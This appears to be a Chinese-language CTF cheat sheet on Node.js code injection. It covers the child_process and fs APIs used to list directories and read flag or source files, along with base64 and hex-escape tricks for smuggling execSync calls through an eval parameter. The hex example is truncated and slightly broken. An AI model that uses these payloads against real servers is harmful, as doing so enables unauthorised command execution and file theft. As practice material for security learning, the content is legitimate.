<aside> 💡
创建子进程的7个API(Sync同步API,不加是异步API)
</aside>
同步会阻塞主进程,可以直接获得结果。异步相反。
- spawn 执行命令
- exec 执行命令
- execFile 执行可执行文件
- fork 创建node子进程
execSync
执行命令 同步执行execFileSync
执行可执行文件 同步执行spawnSync
执行命令 同步执行
spawnSync
**require( “child_process” ).spawnSync( ‘ls’, [ ‘/‘ ] ).stdout.toString()
require( “child_process” ).spawnSync( ‘cat’, [ ‘f*’ ] ).stdout.toString(**
execSync
**require(“child_process”).execSync(‘ls’)
require(“child_process”).execSync(‘cat fl00g.txt’)**
<aside> 💡
全局函数对象执行readdirSync()
</aside>
常用全局函数
**读取文件,通过全局变量读取当前目录位置
__filename
然后查找资料看看还有什么其他的全局变量
__dirname 表示当前执行脚本所在的目录。
1、global: nodejs中的顶层对象,相当于前端js的window
2、__dirname: 超全局变量/魔术变量,用于获取当前执行文件的所在目录
3、__filename: 超全局变量/魔术变量,用于获取当前执行文件的绝对路径
查看当前文件的绝对路径。**
readdirSync() readdirSync()
**//读取路径
require("fs").readdirSync('.','utf-8')
//读取文件
require("fs").readFileSync('/app/routes/index.js','utf-8')**
<aside> 💡
base64绕过
</aside>
base64绕过示例
**/?eval=eval(Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp",'base64').toString('ascii'))
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYXQgZmwwMDFnLnR4dCcp====
base64<require('child_process').execSync('cat fl001g.txt')>**
<aside> 💡
16进制绕过
</aside>
16进制绕过示例
**//脚本里面记得转义 /-->//
require('child_process').["\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x6"].toString();
\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63 === execSyn**